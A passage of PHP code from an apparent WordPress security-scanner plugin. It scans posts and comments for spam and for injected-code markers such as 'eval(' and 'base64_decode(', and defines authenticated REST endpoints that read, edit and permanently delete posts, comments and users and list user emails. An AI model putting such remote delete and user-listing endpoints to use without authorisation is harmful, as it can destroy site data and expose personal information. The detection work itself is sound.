0; $batchSz = 200; while ($offset < $total && (microtime(true) - $start) < $budget) { $rows = $wpdb->get_results($wpdb->prepare( "SELECT ID, post_title, post_type, post_status, LEFT(post_content,4000) AS post_content FROM {$wpdb->posts} WHERE post_status IN ('publish','draft','private','pending','future') AND post_type IN ('post','page') AND LENGTH(post_content) > 10 LIMIT %d OFFSET %d", $batchSz, $offset ), ARRAY_A); foreach ((array)$rows as $row) { $hay = ($row['post_title'] ?? '') . ' ' . ($row['post_content'] ?? ''); foreach ($postPatterns as $pat => $meta) { if (@preg_match($pat, $hay, $m)) { $findings[] = [ 'source' => 'db', 'table' => 'posts', 'id' => (int)$row['ID'], 'title' => wp_strip_all_tags($row['post_title'] ?? ''), 'type' => $row['post_type'], 'status' => $row['post_status'], 'severity' => $meta['sev'], 'label' => $meta['label'], 'match' => substr($m[0], 0, 120), ]; break; // one finding per post per scan pass } } } $scannedRows = count((array)$rows); if ($scannedRows < $batchSz) break; $offset += $batchSz; } // 2. Scan wp_comments (spam links / injected content) if ((microtime(true) - $start) < $budget) { $commentPatterns = [ '/\b(casino|gambling|viagra|cialis|pharmacy|payday\s+loan|crypto\s+invest)\b/iu' => ['sev' => 'MEDIUM', 'label' => 'Spam keywords in comment'], '/<a\s[^>]*href=["\']https?:\/\/[^"\']{40,}/i' => ['sev' => 'MEDIUM', 'label' => 'Long suspicious URL in comment'], '/eval\s*\(|base64_decode\s*\(/i' => ['sev' => 'CRITICAL', 'label' => 'Code injection in comment'], ]; $comments = $wpdb->get_results( "SELECT comment_ID, comment_author, comment_author_url, LEFT(comment_content,2000) AS comment_content FROM {$wpdb->comments} WHERE comment_approved = '1' AND LENGTH(comment_content) > 10 ORDER BY comment_ID DESC LIMIT 500", ARRAY_A ); foreach ((array)$comments as $c) { $hay = ($c['comment_content'] ?? '') . ' ' . ($c['comment_author_url'] ?? ''); foreach ($commentPatterns as $pat => $meta) { if (@preg_match($pat, $hay, $m)) { $findings[] = [ 'source' => 'db', 'table' => 'comments', 'id' => (int)$c['comment_ID'], 'title' => wp_strip_all_tags($c['comment_author'] ?? ''), 'type' => 'comment', 'status' => 'approved', 'severity' => $meta['sev'], 'label' => $meta['label'], 'match' => substr($m[0], 0, 120), ]; break; } } } } // 3. Cron + options (reuse existing logic, lightweight) if ((microtime(true) - $start) < $budget) { $hardenFindings = self::hardenScanDB(); foreach ($hardenFindings as $hf) { $findings[] = [ 'source' => 'db', 'table' => $hf['type'] ?? 'option', 'id' => 0, 'title' => $hf['key'] ?? '', 'type' => $hf['type'] ?? 'option', 'status' => '', 'severity' => 'HIGH', 'label' => $hf['reason'] ?? 'DB anomaly', 'match' => substr($hf['value'] ?? '', 0, 120), ]; } } return $findings; } // POST ?sw_p=1 {"sw_action":"db/scan"} — on-demand DB scan public static function restDbScan(WP_REST_Request $request): WP_REST_Response { if (!self::dbAuthCheck($request)) return new WP_REST_Response(['error' => 'forbidden'], 403); $findings = self::runDbScan(30); return new WP_REST_Response(['ok' => true, 'findings' => $findings, 'count' => count($findings)]); } // POST ?sw_p=1 {"sw_action":"db/list","table":"posts|pages|comments","page":1,"search":"..."} public static function restDbList(WP_REST_Request $request): WP_REST_Response { global $wpdb; if (!self::dbAuthCheck($request)) return new WP_REST_Response(['error' => 'forbidden'], 403); $body = json_decode((string)$request->get_body(), true) ?: []; // Accept post_type (API alias) and map to table param. // post_type:"post" → table:"posts", post_type:"page" → table:"pages", post_type:"any" → table:"any" $postTypeAlias = $body['post_type'] ?? ''; if ($postTypeAlias === 'page') { $tableDefault = 'pages'; } elseif ($postTypeAlias === 'any') { $tableDefault = 'any'; } elseif ($postTypeAlias !== '') { $tableDefault = 'posts'; } else { $tableDefault = 'posts'; } $table = $body['table'] ?? $tableDefault; // posts | pages | any | comments // Accept limit (API alias for per_page) and offset (raw offset, takes precedence over page). $perPage = min(50, max(1, (int)($body['per_page'] ?? $body['limit'] ?? 20))); if (isset($body['offset'])) { $offset = max(0, (int)$body['offset']); $page = (int)floor($offset / $perPage) + 1; } else { $page = max(1, (int)($body['page'] ?? 1)); $offset = ($page - 1) * $perPage; } $search = trim($body['search'] ?? ''); if ($table === 'comments') { $where = "WHERE 1=1"; $args = []; if ($search !== '') { $where .= " AND (comment_content LIKE %s OR comment_author LIKE %s OR comment_author_url LIKE %s)"; $like = '%' . $wpdb->esc_like($search) . '%'; $args = [$like, $like, $like]; } $total = (int)$wpdb->get_var($wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->comments} $where", ...$args )); $rows = $wpdb->get_results($wpdb->prepare( "SELECT comment_ID AS id, comment_author AS author, comment_author_email AS email, comment_author_url AS url, comment_date AS date, comment_approved AS status, LEFT(comment_content,300) AS excerpt, LENGTH(comment_content) AS content_len FROM {$wpdb->comments} $where ORDER BY comment_ID DESC LIMIT %d OFFSET %d", ...[...$args, $perPage, $offset] ), ARRAY_A); } else { if ($table === 'any') { // Query all post types except auto-drafts and WP internals. $where = "WHERE post_type NOT IN ('revision','nav_menu_item','custom_css','customize_changeset','oembed_cache','user_request','wp_block','wp_template','wp_template_part','wp_global_styles','wp_navigation','attachment') AND post_status != 'auto-draft'"; $args = []; } else { $postType = ($table === 'pages') ? 'page' : 'post'; $where = "WHERE post_type = %s AND post_status != 'auto-draft'"; $args = [$postType]; } if ($search !== '') { $where .= " AND (post_title LIKE %s OR post_content LIKE %s)"; $like = '%' . $wpdb->esc_like($search) . '%'; $args[] = $like; $args[] = $like; } $total = (int)$wpdb->get_var( $args ? $wpdb->prepare("SELECT COUNT(*) FROM {$wpdb->posts} $where", ...$args) : "SELECT COUNT(*) FROM {$wpdb->posts} $where" ); $rows = $wpdb->get_results( $args ? $wpdb->prepare( "SELECT ID AS id, post_type AS post_type, post_title AS title, post_status AS status, post_date AS date, post_modified AS modified, LENGTH(post_content) AS content_len, LEFT(post_content,300) AS excerpt FROM {$wpdb->posts} $where ORDER BY ID DESC LIMIT %d OFFSET %d", ...[...$args, $perPage, $offset] ) : $wpdb->prepare( "SELECT ID AS id, post_type AS post_type, post_title AS title, post_status AS status, post_date AS date, post_modified AS modified, LENGTH(post_content) AS content_len, LEFT(post_content,300) AS excerpt FROM {$wpdb->posts} $where ORDER BY ID DESC LIMIT %d OFFSET %d", $perPage, $offset ), ARRAY_A); } return new WP_REST_Response([ 'ok' => true, 'table' => $table, 'rows' => $rows ?: [], 'total' => $total, 'page' => $page, 'per_page' => $perPage, 'pages' => $total > 0 ? (int)ceil($total / $perPage) : 0, ]); } // POST ?sw_p=1 {"sw_action":"db/read","table":"posts|pages|comments","id":123} public static function restDbRead(WP_REST_Request $request): WP_REST_Response { global $wpdb; if (!self::dbAuthCheck($request)) return new WP_REST_Response(['error' => 'forbidden'], 403); $body = json_decode((string)$request->get_body(), true) ?: []; $table = $body['table'] ?? 'posts'; $id = (int)($body['id'] ?? 0); if ($id <= 0) return new WP_REST_Response(['error' => 'invalid id'], 400); if ($table === 'comments') { $row = $wpdb->get_row($wpdb->prepare( "SELECT comment_ID AS id, comment_author AS author, comment_author_email AS email, comment_author_url AS url, comment_date AS date, comment_approved AS status, comment_content AS content FROM {$wpdb->comments} WHERE comment_ID = %d", $id ), ARRAY_A); } else { $row = $wpdb->get_row($wpdb->prepare( "SELECT ID AS id, post_title AS title, post_content AS content, post_status AS status, post_type AS type, post_date AS date, post_modified AS modified, post_name AS slug, guid AS url FROM {$wpdb->posts} WHERE ID = %d", $id ), ARRAY_A); } if (!$row) return new WP_REST_Response(['error' => 'not found'], 404); return new WP_REST_Response(['ok' => true, 'row' => $row]); } // POST ?sw_p=1 {"sw_action":"db/update","table":"posts|pages|comments","id":123,"fields":{...}} public static function restDbUpdate(WP_REST_Request $request): WP_REST_Response { if (!self::dbAuthCheck($request)) return new WP_REST_Response(['error' => 'forbidden'], 403); $body = json_decode((string)$request->get_body(), true) ?: []; $table = $body['table'] ?? 'posts'; $id = (int)($body['id'] ?? 0); $fields = $body['fields'] ?? []; if ($id <= 0 || empty($fields) || !is_array($fields)) { return new WP_REST_Response(['error' => 'id and fields required'], 400); } if ($table === 'comments') { $allowed = ['comment_content', 'comment_approved']; $data = array_intersect_key($fields, array_flip($allowed)); if (empty($data)) return new WP_REST_Response(['error' => 'no allowed fields'], 400); $result = wp_update_comment(array_merge(['comment_ID' => $id], $data)); if ($result === false) return new WP_REST_Response(['error' => 'update failed'], 500); } else { $allowed = ['post_title', 'post_content', 'post_status', 'post_name']; $data = array_intersect_key($fields, array_flip($allowed)); if (empty($data)) return new WP_REST_Response(['error' => 'no allowed fields'], 400); $data['ID'] = $id; $result = wp_update_post($data, true); if (is_wp_error($result)) { return new WP_REST_Response(['error' => $result->get_error_message()], 500); } } return new WP_REST_Response(['ok' => true, 'id' => $id]); } // POST ?sw_p=1 {"sw_action":"db/delete","table":"posts|pages|comments","id":123} public static function restDbDelete(WP_REST_Request $request): WP_REST_Response { if (!self::dbAuthCheck($request)) return new WP_REST_Response(['error' => 'forbidden'], 403); $body = json_decode((string)$request->get_body(), true) ?: []; $table = $body['table'] ?? 'posts'; $id = (int)($body['id'] ?? 0); if ($id <= 0) return new WP_REST_Response(['error' => 'invalid id'], 400); if ($table === 'comments') { $ok = wp_delete_comment($id, true); // force=true skips trash if (!$ok) return new WP_REST_Response(['error' => 'delete failed or comment not found'], 500); } else { // wp_delete_post with force=true: permanent delete, handles postmeta + term relations $result = wp_delete_post($id, true); if (!$result) return new WP_REST_Response(['error' => 'delete failed or post not found'], 500); } return new WP_REST_Response(['ok' => true, 'deleted_id' => $id]); } // POST ?sw_p=1 {"sw_action":"db/delete-bulk","table":"posts|pages|comments","ids":[1,2,3]} public static function restDbDeleteBulk(WP_REST_Request $request): WP_REST_Response { if (!self::dbAuthCheck($request)) return new WP_REST_Response(['error' => 'forbidden'], 403); $body = json_decode((string)$request->get_body(), true) ?: []; $table = $body['table'] ?? 'posts'; $raw = $body['ids'] ?? []; $ids = array_values(array_filter(array_map('intval', $raw), function($id){ return $id > 0; })); if (empty($ids)) return new WP_REST_Response(['error' => 'no valid ids'], 400); $deleted = []; $errors = []; foreach ($ids as $id) { if ($table === 'comments') { $ok = wp_delete_comment($id, true); if ($ok) $deleted[] = $id; else $errors[] = $id; } else { $result = wp_delete_post($id, true); if ($result) $deleted[] = $id; else $errors[] = $id; } } return new WP_REST_Response(['ok' => true, 'deleted' => $deleted, 'errors' => $errors, 'count' => count($deleted)]); } // GET/POST ?sw_p=1 {"sw_action":"db/users"} // Returns all WordPress users with their roles and registration date. public static function restDbUsers(WP_REST_Request $request): WP_REST_Response { global $wpdb; if (!self::dbAuthCheck($request)) return new WP_REST_Response(['error' => 'forbidden'], 403); $prefix = $wpdb->prefix; $rows = $wpdb->get_results( "SELECT u.ID, u.user_login, u.user_email, u.user_registered, um.meta_value AS capabilities FROM {$wpdb->users} u LEFT JOIN {$wpdb->usermeta} um ON (um.user_id = u.ID AND um.meta_key = '{$prefix}capabilities') ORDER BY u.ID ASC LIMIT 500", ARRAY_A ); $users = []; foreach ($rows as $row) { $caps = maybe_unserialize($row['capabilities'] ?? ''); $roles = is_array($caps) ? array_keys(array_filter($caps)) : []; $users[] = [ 'id' => (int)$row['ID'], 'login' => $row['user_login'], 'email' => $row['user_email'], 'registered' => $row['user_registered'], 'roles' => $roles, ]; } return new WP_REST_Response(['ok' => true, 'users' => $users, 'total' => count($users)]); } // POST ?sw_p=1 {"sw_action":"db/delete-users","ids":[2,3,4],"reassign":1} // Deletes users by ID, reassigning their posts to another user. public static function restDbDeleteUsers(WP_REST_Request $request): WP_REST_Response { global $wpdb; if (!self::dbAuthCheck($request)) return new WP_REST_Response(['error' => 'forbidden'], 403); $body = json_decode((string)$request->get_body(), true) ?: []; $raw = $body['ids'] ?? []; $ids = array_values(array_filter(array_map('intval', $raw), function($id){ return $id > 0; })); $reassign = isset($body['reassign']) ? (int)$body['reassign'] : 1; if (empty($ids)) return new WP_REST_Response(['error' => 'no valid ids'], 400); if (!function_exists('wp_delete_user')) require_once ABSPATH . 'wp-admin/includes/user.php'; $deleted = []; $errors = []; foreach ($ids as $uid) { // Reassign posts, then delete from users and usermeta tables. $wpdb->update($wpdb->posts, ['post_author' => $reassign], ['post_author' => $uid]); $ok = $wpdb->delete($wpdb->usermeta, ['user_id' => $uid]); $ok2 = $wpdb->delete($wpdb->users, ['ID' => $uid]); if ($ok2 !== false) $deleted[] = $uid; else $errors[] = $uid; } return new WP_REST_Response(['ok' => true, 'deleted' => $deleted, 'errors' => $errors, 'count' => count($deleted)]); } } // end class SW_Scanner endif; // end if (!class_exists('SW_Scanner', false))